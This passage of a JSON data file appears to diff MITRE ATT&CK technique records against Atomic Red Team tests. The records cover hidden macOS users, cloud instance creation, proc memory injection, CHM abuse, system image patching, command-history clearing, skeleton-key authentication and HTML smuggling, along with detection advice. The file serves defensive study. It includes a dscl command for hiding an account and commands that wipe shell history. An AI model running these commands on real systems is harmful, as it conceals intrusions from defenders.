"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1147", - "url": "https://attack.mitre.org/techniques/T1147" - }, - { - "url": "https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf", - "description": "Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved December 10, 2021.", - "source_name": "Cybereason OSX Pirrit" - } - ], - "modified": "2021-12-21T16:28:00.431Z", - "name": "Hidden Users", - "description": "Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in /Library/Preferences/com.apple.loginwindow called Hide500Users that prevents users with userIDs 500 and lower from appearing at the login screen. By using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: sudo dscl . -create /Users/username UniqueID 401 (Citation: Cybereason OSX Pirrit).", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "This technique prevents the new user from showing up at the log in screen, but all of the other signs of a new user still exist. The user still gets a home directory and will appear in the authentication logs.", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_permissions_required": [ - "Administrator", - "root" - ] - }, - "atomic_tests": [] - }, - "T1578.002": { - "technique": { - "x_mitre_platforms": [ - "IaaS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--cf1c2504-433f-4c4e-a1f8-91de45a0318c", - "type": "attack-pattern", - "created": "2020-05-14T14:45:15.978Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1578.002", - "url": "https://attack.mitre.org/techniques/T1578/002" - }, - { - "source_name": "Mandiant M-Trends 2020", - "url": "https://content.fireeye.com/m-trends/rpt-m-trends-2020", - "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020." - }, - { - "source_name": "AWS CloudTrail Search", - "url": "https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/", - "description": "Amazon. (n.d.). Search CloudTrail logs for API calls to EC2 Instances. Retrieved June 17, 2020." - }, - { - "source_name": "Azure Activity Logs", - "url": "https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs", - "description": "Microsoft. (n.d.). View Azure activity logs. Retrieved June 17, 2020." - }, - { - "source_name": "Cloud Audit Logs", - "url": "https://cloud.google.com/logging/docs/audit#admin-activity", - "description": "Google. (n.d.). Audit Logs. Retrieved June 1, 2020." - } - ], - "modified": "2021-03-08T10:33:02.034Z", - "name": "Create Cloud Instance", - "description": "An adversary may create a new instance or virtual machine (VM) within the compute service of a cloud account to evade defenses. Creating a new instance may allow an adversary to bypass firewall rules and permissions that exist on instances currently residing within an account. An adversary may [Create Snapshot](https://attack.mitre.org/techniques/T1578/001) of one or more volumes in an account, create a new instance, mount the snapshots, and then apply a less restrictive security policy to collect [Data from Local System](https://attack.mitre.org/techniques/T1005) or for [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002).(Citation: Mandiant M-Trends 2020)\n\nCreating a new instance may also allow an adversary to carry out malicious activity within an environment without affecting the execution of current running instances.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "The creation of a new instance or VM is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, the creation of an instance by a new user account or the unexpected creation of one or more snapshots followed by the creation of an instance may indicate suspicious activity.\n\nIn AWS, CloudTrail logs capture the creation of an instance in the RunInstances event, and in Azure the creation of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search)(Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of gcloud compute instances create to create a VM.(Citation: Cloud Audit Logs)", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Instance: Instance Creation", - "Instance: Instance Metadata" - ], - "x_mitre_permissions_required": [ - "User" - ] - }, - "atomic_tests": [] - }, - "T1500": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank", - "Praetorian" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--cf7b3a06-8b42-4c33-bbe9-012120027925", - "type": "attack-pattern", - "created": "2019-04-25T20:53:07.719Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1500", - "url": "https://attack.mitre.org/techniques/T1500" - }, - { - "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", - "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf", - "source_name": "ClearSky MuddyWater Nov 2018" - }, - { - "source_name": "TrendMicro WindowsAppMac", - "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/windows-app-runs-on-mac-downloads-info-stealer-and-adware/", - "description": "Trend Micro. (2019, February 11). Windows App Runs on Mac, Downloads Info Stealer and Adware. Retrieved April 25, 2019." - } - ], - "modified": "2020-03-16T15:38:37.650Z", - "name": "Compile After Delivery", - "description": "Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Similar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)\n\nSource code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)\n", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Monitor the execution file paths and command-line arguments for common compilers, such as csc.exe and GCC/MinGW, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior. The compilation of payloads may also generate file creation and/or file write events. Look for non-native binary formats and cross-platform compiler and execution frameworks like Mono and determine if they have a legitimate purpose on the system.(Citation: TrendMicro WindowsAppMac) Typically these should only be used in specific and limited cases, like for software development.", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_defense_bypassed": [ - "Static File Analysis", - "Binary Analysis", - "Anti-virus", - "Host intrusion prevention systems", - "Signature-based detection" - ], - "x_mitre_permissions_required": [ - "User" - ], - "x_mitre_system_requirements": [ - "Compiler software (either native to the system or delivered by the adversary)" - ] - }, - "atomic_tests": [] - }, - "T1055.009": { - "technique": { - "x_mitre_platforms": [ - "Linux" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--d201d4cc-214d-4a74-a1ba-b3fa09fd4591", - "type": "attack-pattern", - "created": "2020-01-14T01:34:10.588Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1055.009", - "url": "https://attack.mitre.org/techniques/T1055/009" - }, - { - "url": "http://hick.org/code/skape/papers/needle.txt", - "description": "skape. (2003, January 19). Linux x86 run-time process manipulation. Retrieved December 20, 2017.", - "source_name": "Uninformed Needle" - }, - { - "source_name": "GDS Linux Injection", - "url": "https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html", - "description": "McNamara, R. (2017, September 5). Linux Based Inter-Process Code Injection Without Ptrace(2). Retrieved February 21, 2020." - }, - { - "source_name": "DD Man", - "url": "http://man7.org/linux/man-pages/man1/dd.1.html", - "description": "Kerrisk, M. (2020, February 2). DD(1) User Commands. Retrieved February 21, 2020." - } - ], - "modified": "2020-06-20T22:25:55.331Z", - "name": "Proc Memory", - "description": "Adversaries may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges. Proc memory injection is a method of executing arbitrary code in the address space of a separate live process. \n\nProc memory injection involves enumerating the memory of a process via the /proc filesystem (/proc/[pid]) then crafting a return-oriented programming (ROP) payload with available gadgets/instructions. Each running process has its own directory, which includes memory mappings. Proc memory injection is commonly performed by overwriting the target processes\u2019 stack using memory mappings provided by the /proc filesystem. This information can be used to enumerate offsets (including the stack) and gadgets (or instructions within the program that can be used to build a malicious payload) otherwise hidden by process memory protections such as address space layout randomization (ASLR). Once enumerated, the target processes\u2019 memory map within /proc/[pid]/maps can be overwritten using dd.(Citation: Uninformed Needle)(Citation: GDS Linux Injection)(Citation: DD Man) \n\nOther techniques such as [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) may be used to populate a target process with more available gadgets. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), proc memory injection may target child processes (such as a backgrounded copy of sleep).(Citation: GDS Linux Injection) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via proc memory injection may also evade detection from security products since the execution is masked under a legitimate process. ", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "File system monitoring can determine if /proc files are being modified. Users should not have permission to modify these in most cases. \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "File: File Modification" - ], - "x_mitre_defense_bypassed": [ - "Application control", - "Anti-virus" - ] - }, - "atomic_tests": [] - }, - "T1223": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Rahmat Nurfauzi, @infosecn1nja, PT Xynexis International" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--d21a2069-23d5-4043-ad6d-64f6b644cb1a", - "type": "attack-pattern", - "created": "2018-10-17T00:14:20.652Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1223", - "url": "https://attack.mitre.org/techniques/T1223" - }, - { - "source_name": "Microsoft HTML Help May 2018", - "description": "Microsoft. (2018, May 30). Microsoft HTML Help 1.4. Retrieved October 3, 2018.", - "url": "https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk" - }, - { - "source_name": "Microsoft HTML Help ActiveX", - "description": "Microsoft. (n.d.). HTML Help ActiveX Control Overview. Retrieved October 3, 2018.", - "url": "https://msdn.microsoft.com/windows/desktop/ms644670" - }, - { - "url": "https://msdn.microsoft.com/windows/desktop/ms524405", - "description": "Microsoft. (n.d.). About the HTML Help Executable Program. Retrieved October 3, 2018.", - "source_name": "Microsoft HTML Help Executable Program" - }, - { - "url": "https://msitpros.com/?p=3909", - "description": "Moe, O. (2017, August 13). Bypassing Device guard UMCI using CHM \u2013 CVE-2017-8625. Retrieved October 3, 2018.", - "source_name": "MsitPros CHM Aug 2017" - }, - { - "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8625", - "description": "Microsoft. (2017, August 8). CVE-2017-8625 - Internet Explorer Security Feature Bypass Vulnerability. Retrieved October 3, 2018.", - "source_name": "Microsoft CVE-2017-8625 Aug 2017" - } - ], - "modified": "2020-01-31T18:59:00.845Z", - "name": "Compiled HTML File", - "description": "Compiled HTML files (.chm) are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)\n\nAdversaries may abuse this technology to conceal malicious code. A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application whitelisting on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - } - ], - "x_mitre_detection": "Monitor and analyze the execution and arguments of hh.exe. (Citation: MsitPros CHM Aug 2017) Compare recent invocations of hh.exe with prior history of known good arguments to determine anomalous and potentially adversarial activity (ex: obfuscated and/or malicious commands). Non-standard process execution trees may also indicate suspicious or malicious behavior, such as if hh.exe is the parent process for suspicious processes and activity relating to other adversarial techniques.\n\nMonitor presence and use of CHM files, especially if they are not typically used within an environment.", - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_defense_bypassed": [ - "Application whitelisting", - "Digital Certificate Validation" - ], - "x_mitre_permissions_required": [ - "User" - ] - }, - "atomic_tests": [] - }, - "T1601.001": { - "technique": { - "x_mitre_platforms": [ - "Network" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--d245808a-7086-4310-984a-a84aaaa43f8f", - "type": "attack-pattern", - "created": "2020-10-19T19:49:24.129Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1601.001", - "url": "https://attack.mitre.org/techniques/T1601/001" - }, - { - "source_name": "Killing the myth of Cisco IOS rootkits", - "url": "https://drwho.virtadpt.net/images/killing_the_myth_of_cisco_ios_rootkits.pdf", - "description": "Sebastian 'topo' Mu\u00f1iz. (2008, May). Killing the myth of Cisco IOS rootkits. Retrieved October 20, 2020." - }, - { - "source_name": "Killing IOS diversity myth", - "url": "https://www.usenix.org/legacy/event/woot/tech/final_files/Cui.pdf", - "description": "Ang Cui, Jatin Kataria, Salvatore J. Stolfo. (2011, August). Killing the myth of Cisco IOS diversity: recent advances in reliable shellcode design. Retrieved October 20, 2020." - }, - { - "source_name": "Cisco IOS Shellcode", - "url": "http://2015.zeronights.org/assets/files/05-Nosenko.pdf", - "description": "George Nosenko. (2015). CISCO IOS SHELLCODE: ALL-IN-ONE. Retrieved October 21, 2020." - }, - { - "source_name": "Cisco IOS Forensics Developments", - "url": "https://www.recurity-labs.com/research/RecurityLabs_Developments_in_IOS_Forensics.pdf", - "description": "Felix 'FX' Lindner. (2008, February). Developments in Cisco IOS Forensics. Retrieved October 21, 2020." - }, - { - "source_name": "Juniper Netscreen of the Dead", - "url": "https://www.blackhat.com/presentations/bh-usa-09/NEILSON/BHUSA09-Neilson-NetscreenDead-SLIDES.pdf", - "description": "Graeme Neilson . (2009, August). Juniper Netscreen of the Dead. Retrieved October 20, 2020." - }, - { - "source_name": "Cisco IOS Software Integrity Assurance - Image File Verification", - "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#7", - "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020." - }, - { - "source_name": "Cisco IOS Software Integrity Assurance - Run-Time Memory Verification", - "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#13", - "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020." - } - ], - "modified": "2020-10-22T17:50:46.560Z", - "name": "Patch System Image", - "description": "Adversaries may modify the operating system of a network device to introduce new capabilities or weaken existing defenses.(Citation: Killing the myth of Cisco IOS rootkits) (Citation: Killing IOS diversity myth) (Citation: Cisco IOS Shellcode) (Citation: Cisco IOS Forensics Developments) (Citation: Juniper Netscreen of the Dead) Some network devices are built with a monolithic architecture, where the entire operating system and most of the functionality of the device is contained within a single file. Adversaries may change this file in storage, to be loaded in a future boot, or in memory during runtime.\n\nTo change the operating system in storage, the adversary will typically use the standard procedures available to device operators. This may involve downloading a new file via typical protocols used on network devices, such as TFTP, FTP, SCP, or a console connection. The original file may be overwritten, or a new file may be written alongside of it and the device reconfigured to boot to the compromised image.\n\nTo change the operating system in memory, the adversary typically can use one of two methods. In the first, the adversary would make use of native debug commands in the original, unaltered running operating system that allow them to directly modify the relevant memory addresses containing the running operating system. This method typically requires administrative level access to the device.\n\nIn the second method for changing the operating system in memory, the adversary would make use of the boot loader. The boot loader is the first piece of software that loads when the device starts that, in turn, will launch the operating system. Adversaries may use malicious code previously implanted in the boot loader, such as through the [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) method, to directly manipulate running operating system code in memory. This malicious code in the bootloader provides the capability of direct memory manipulation to the adversary, allowing them to patch the live operating system during runtime.\n\nBy modifying the instructions stored in the system image file, adversaries may either weaken existing defenses or provision new capabilities that the device did not have before. Examples of existing defenses that can be impeded include encryption, via [Weaken Encryption](https://attack.mitre.org/techniques/T1600), authentication, via [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004), and perimeter defenses, via [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599). Adding new capabilities for the adversary\u2019s purpose include [Keylogging](https://attack.mitre.org/techniques/T1056/001), [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003), and [Port Knocking](https://attack.mitre.org/techniques/T1205/001).\n\nAdversaries may also compromise existing commands in the operating system to produce false output to mislead defenders. When this method is used in conjunction with [Downgrade System Image](https://attack.mitre.org/techniques/T1601/002), one example of a compromised system command may include changing the output of the command that shows the version of the currently running operating system. By patching the operating system, the adversary can change this command to instead display the original, higher revision number that they replaced through the system downgrade. \n\nWhen the operating system is patched in storage, this can be achieved in either the resident storage (typically a form of flash memory, which is non-volatile) or via [TFTP Boot](https://attack.mitre.org/techniques/T1542/005). \n\nWhen the technique is performed on the running operating system in memory and not on the stored copy, this technique will not survive across reboots. However, live memory modification of the operating system can be combined with [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) to achieve persistence. ", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Compare the checksum of the operating system file with the checksum of a known good copy from a trusted source. Some embedded network device platforms may have the capability to calculate the checksum of the file, while others may not. Even for those platforms that have the capability, it is recommended to download a copy of the file to a trusted computer to calculate the checksum with software that is not compromised.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)\n\nMany vendors of embedded network devices can provide advanced debugging support that will allow them to work with device owners to validate the integrity of the operating system running in memory. If a compromise of the operating system is suspected, contact the vendor technical support and seek such services for a more thorough inspection of the current running system. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "File: File Modification" - ], - "x_mitre_permissions_required": [ - "Administrator" - ] - }, - "atomic_tests": [] - }, - "T1146": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--d3046a90-580c-4004-8208-66915bc29830", - "type": "attack-pattern", - "created": "2017-12-14T16:46:06.044Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "url": "https://attack.mitre.org/techniques/T1146", - "external_id": "T1146" - } - ], - "modified": "2020-01-31T12:32:52.281Z", - "name": "Clear Command History", - "description": "In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. macOS and Linux both keep track of the commands users type in their terminal so that users can retrace what they've done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as unset HISTFILE, export HISTFILESIZE=0, history -c, rm ~/.bash_history.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "User authentication, especially via remote terminal services like SSH, without new entries in that user's ~/.bash_history is suspicious. Additionally, the modification of the HISTFILE and HISTFILESIZE environment variables or the removal/clearing of the ~/.bash_history file are indicators of suspicious activity.", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_defense_bypassed": [ - "Log analysis", - "Host forensic analysis" - ], - "x_mitre_permissions_required": [ - "User" - ] - }, - "atomic_tests": [] - }, - "T1556.001": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--d4b96d2c-1032-4b22-9235-2b5b649d0605", - "type": "attack-pattern", - "created": "2020-02-11T19:05:02.399Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1556.001", - "url": "https://attack.mitre.org/techniques/T1556/001" - }, - { - "source_name": "Dell Skeleton", - "description": "Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019.", - "url": "https://www.secureworks.com/research/skeleton-key-malware-analysis" - }, - { - "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx", - "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.", - "source_name": "TechNet Audit Policy" - } - ], - "modified": "2021-04-20T20:10:26.613Z", - "name": "Domain Controller Authentication", - "description": "Adversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts. \n\nMalware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user\u2019s account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)). Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the the skeleton key is erased from memory by a reboot of the domain controller). Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments.(Citation: Dell Skeleton)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "credential-access" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - } - ], - "x_mitre_detection": "Monitor for calls to OpenProcess that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton)\n\nConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g. a user has an active login session but has not entered the building or does not have VPN access). ", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "2.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "File: File Modification", - "Logon Session: Logon Session Creation", - "Process: Process Access", - "Process: OS API Execution" - ], - "x_mitre_permissions_required": [ - "Administrator" - ] - }, - "atomic_tests": [] - }, - "T1027.006": { - "technique": { - "x_mitre_platforms": [ - "Windows", - "Linux", - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Stan Hegt, Outflank", - "Jonathan Boucher, @crash_wave, Bank of Canada", - "Krishnan Subramanian, @krish203", - "Vinay Pidathala" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--d4dc46e3-5ba5-45b9-8204-010867cacfcb", - "created": "2021-05-20T12:20:42.219Z", - "x_mitre_version": "1.0", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1027.006", - "url": "https://attack.mitre.org/techniques/T1027/006" - }, - { - "source_name": "Outlflank HTML Smuggling 2018", - "url": "https://outflank.nl/blog/2018/08/14/html-smuggling-explained/", - "description": "Hegt, S. (2018, August 14). HTML smuggling explained. Retrieved May 20, 2021." - }, - { - "source_name": "MSTIC NOBELIUM May 2021", - "url": "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/", - "description": "Microsoft Threat Intelligence Center (MSTIC). (2021, May 27). New sophisticated email-based attack from NOBELIUM. Retrieved May 28, 2021." - }, - { - "source_name": "HTML Smuggling Menlo Security 2020", - "url": "https://www.menlosecurity.com/blog/new-attack-alert-duri", - "description": "Subramanian, K. (2020, August 18). New HTML Smuggling Attack Alert: Duri. Retrieved May 20, 2021." - }, - { - "source_name": "nccgroup Smuggling HTA 2017", - "url": "https://research.nccgroup.com/2017/08/08/smuggling-hta-files-in-internet-explorer-edge/", - "description": "Warren, R. (2017, August 8). Smuggling HTA files in Internet Explorer/Edge. Retrieved May 20, 2021." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign HTML files. HTML documents can store large binary objects known as JavaScript Blobs (immutable data that represents raw bytes) that can later be constructed into file-like objects. Data may also be stored in Data URLs, which enable embedding media type or MIME files inline of HTML documents. HTML5 also introduced a download attribute that may be used to initiate file downloads.(Citation: HTML Smuggling Menlo Security 2020)(Citation: Outlflank HTML Smuggling 2018)\n\nAdversaries may deliver payloads to victims that bypass security controls through HTML Smuggling by abusing JavaScript Blobs and/or HTML5 download attributes. Security controls such as web content filters may not identify smuggled malicious files inside of HTML/JS files, as the content may be based on typically benign MIME types such as text/plain and/or text/html. Malicious files or data can be obfuscated and hidden inside of HTML files through Data URLs and/or JavaScript Blobs and can be deobfuscated when they reach the victim (i.e. [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140)), potentially bypassing content filters.\n\nFor example, JavaScript Blobs can be abused to dynamically generate malicious files in the victim machine and may be dropped to disk by abusing JavaScript functions such as msSaveBlob.(Citation: HTML Smuggling Menlo Security 2020)(Citation: MSTIC NOBELIUM May 2021)(Citation: Outlflank HTML Smuggling 2018)(Citation: nccgroup Smuggling HTA 2017)", - "modified": "2022-05-19T16:29:47.637Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "HTML Smuggling", - "x_mitre_detection": "Detection of HTML Smuggling is difficult as HTML5 and JavaScript attributes are used by legitimate services and applications. HTML Smuggling can be performed in many ways via JavaScript, developing rules for the different variants, with a combination of different encoding and/or encryption schemes, may be very challenging.(Citation: Outlflank HTML Smuggling 2018) Detecting specific JavaScript and/or HTML5 attribute strings such as Blob, msSaveOrOpenBlob, and/or download may be a good indicator of HTML Smuggling. These strings may also be used by legitimate services therefore it is possible to raise false positives.\n\nConsider monitoring files downloaded from the Internet, possibly by HTML Smuggling, for suspicious activities. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "File: File Creation" - ], - "x_mitre_defense_bypassed": [ - "Anti-virus", - "Web Content Filters", - "Static File Analysis" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1027.006" - }, - "atomic_tests": [ - { - "name": "HTML Smuggling Remote Payload", - "auto_generated_guid": "30cbeda4-08d9-42f1-8685-197fad677734", - "description": "The HTML file will download an ISO file from [T1553.005](https://github.com/redcanaryco/atomic-red-team/blob/d0dad62dbcae9c60c519368e82c196a3db577055/atomics/T1553.005/bin/FeelTheBurn.iso) without userinteraction. \nThe HTML file is based off of the work from 